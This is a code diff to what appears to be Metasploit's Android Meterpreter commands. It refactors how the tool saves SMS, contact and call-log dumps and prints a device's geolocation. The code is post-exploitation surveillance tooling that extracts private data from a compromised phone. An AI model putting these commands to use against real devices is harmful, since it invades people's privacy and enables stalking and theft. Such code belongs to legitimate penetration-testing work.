@@ -80,7 +80,7 @@ def cmd_device_shutdown(*args)
8080
8181 def cmd_dump_sms ( *args )
8282
83- path = ' sms_dump_' + Rex :: Text . rand_text_alpha ( 8 ) + ' .txt'
83+ path = " sms_dump_#{ Time . new . strftime ( '%Y%m%d%H%M%S' ) } .txt"
8484 dump_sms_opts = Rex ::Parser ::Arguments . new (
8585 '-h' => [ false , 'Help Banner' ] ,
8686 '-o' => [ false , 'Output path for sms list' ]
@@ -119,7 +119,7 @@ def cmd_dump_sms(*args)
119119
120120 smsList . each_with_index { |a , index |
121121
122- data << "##{ ( index . to_i + 1 ) . to_s ( ) } \n "
122+ data << "##{ index . to_i + 1 } \n "
123123
124124 type = 'Unknown'
125125 if a [ 'type' ] == '1'
@@ -154,9 +154,8 @@ def cmd_dump_sms(*args)
154154 data << "Message\t : #{ a [ 'body' ] } \n \n "
155155 }
156156
157- path = store_loot ( "android.sms" , "text/plain" , client . sock . peerhost , data , "sms.txt" , "Android SMS Dump" )
157+ :: File . write ( path , data )
158158 print_status ( "Sms #{ smsList . count == 1 ? 'message' : 'messages' } saved to: #{ path } " )
159- Rex ::Compat . open_file ( path )
160159
161160 return true
162161 rescue
@@ -172,7 +171,7 @@ def cmd_dump_sms(*args)
172171
173172 def cmd_dump_contacts ( *args )
174173
175- path = ' contacts_dump_' + Rex :: Text . rand_text_alpha ( 8 ) + ' .txt'
174+ path = " contacts_dump_#{ Time . new . strftime ( '%Y%m%d%H%M%S' ) } .txt"
176175 dump_contacts_opts = Rex ::Parser ::Arguments . new (
177176
178177 '-h' => [ false , 'Help Banner' ] ,
@@ -213,7 +212,7 @@ def cmd_dump_contacts(*args)
213212
214213 contactList . each_with_index { |c , index |
215214
216- data << "##{ ( index . to_i + 1 ) . to_s ( ) } \n "
215+ data << "##{ index . to_i + 1 } \n "
217216 data << "Name\t : #{ c [ 'name' ] } \n "
218217
219218 if c [ 'number' ] . count > 0
@@ -231,9 +230,8 @@ def cmd_dump_contacts(*args)
231230 data << "\n "
232231 }
233232
234- path = store_loot ( "android.contacts" , "text/plain" , client . sock . peerhost , data , "contacts.txt" , "Android Contacts Dump" )
233+ :: File . write ( path , data )
235234 print_status ( "Contacts list saved to: #{ path } " )
236- Rex ::Compat . open_file ( path )
237235
238236 return true
239237 rescue
@@ -271,23 +269,23 @@ def cmd_geolocate(*args)
271269 geo = client . android . geolocate
272270
273271 print_status ( 'Current Location:' )
274- print_line ( "\t Latitude : #{ geo [ 0 ] [ 'lat' ] } " )
275- print_line ( "\t Longitude : #{ geo [ 0 ] [ 'long' ] } \n " )
276- print_line ( "To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{ geo [ 0 ] [ 'lat' ] } ,#{ geo [ 0 ] [ 'long' ] } &sensor=true\n " )
272+ print_line ( "\t Latitude: #{ geo [ 0 ] [ 'lat' ] } " )
273+ print_line ( "\t Longitude: #{ geo [ 0 ] [ 'long' ] } \n " )
274+ print_line ( "To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{ geo [ 0 ] [ 'lat' ] . to_f } ,#{ geo [ 0 ] [ 'long' ] . to_f } &sensor=true\n " )
277275
278276
279277 if generate_map
280- link = "https://maps.google.com/maps?q=#{ geo [ 0 ] [ 'lat' ] } ,#{ geo [ 0 ] [ 'long' ] } "
281- print_status ( ' Generated map on google-maps:' )
282- print_status ( '#{ link}' )
278+ link = "https://maps.google.com/maps?q=#{ geo [ 0 ] [ 'lat' ] . to_f } ,#{ geo [ 0 ] [ 'long' ] . to_f } "
279+ print_status ( " Generated map on google-maps:" )
280+ print_status ( link )
283281 Rex ::Compat . open_browser ( link )
284282 end
285283
286284 end
287285
288286 def cmd_dump_calllog ( *args )
289287
290- path = 'dump_calllog_' + Rex :: Text . rand_text_alpha ( 8 ) + ' .txt'
288+ path = "calllog_dump_ #{ Time . new . strftime ( '%Y%m%d%H%M%S' ) } .txt"
291289 dump_calllog_opts = Rex ::Parser ::Arguments . new (
292290
293291 '-h' => [ false , 'Help Banner' ] ,
@@ -327,7 +325,7 @@ def cmd_dump_calllog(*args)
327325
328326 log . each_with_index { |a , index |
329327
330- data << "##{ ( index . to_i + 1 ) . to_s ( ) } \n "
328+ data << "##{ index . to_i + 1 } \n "
331329
332330 data << "Number\t : #{ a [ 'number' ] } \n "
333331 data << "Name\t : #{ a [ 'name' ] } \n "
@@ -336,9 +334,8 @@ def cmd_dump_calllog(*args)
336334 data << "Duration: #{ a [ 'duration' ] } \n \n "
337335 }
338336
339- path = store_loot ( "android.calllog" , "text/plain" , client . sock . peerhost , data , "call-log.txt" , "Android Call Log Dump" )
337+ :: File . write ( path , data )
340338 print_status ( "Call log saved to #{ path } " )
341- Rex ::Compat . open_file ( path )
342339
343340 return true
344341 rescue
0 commit comments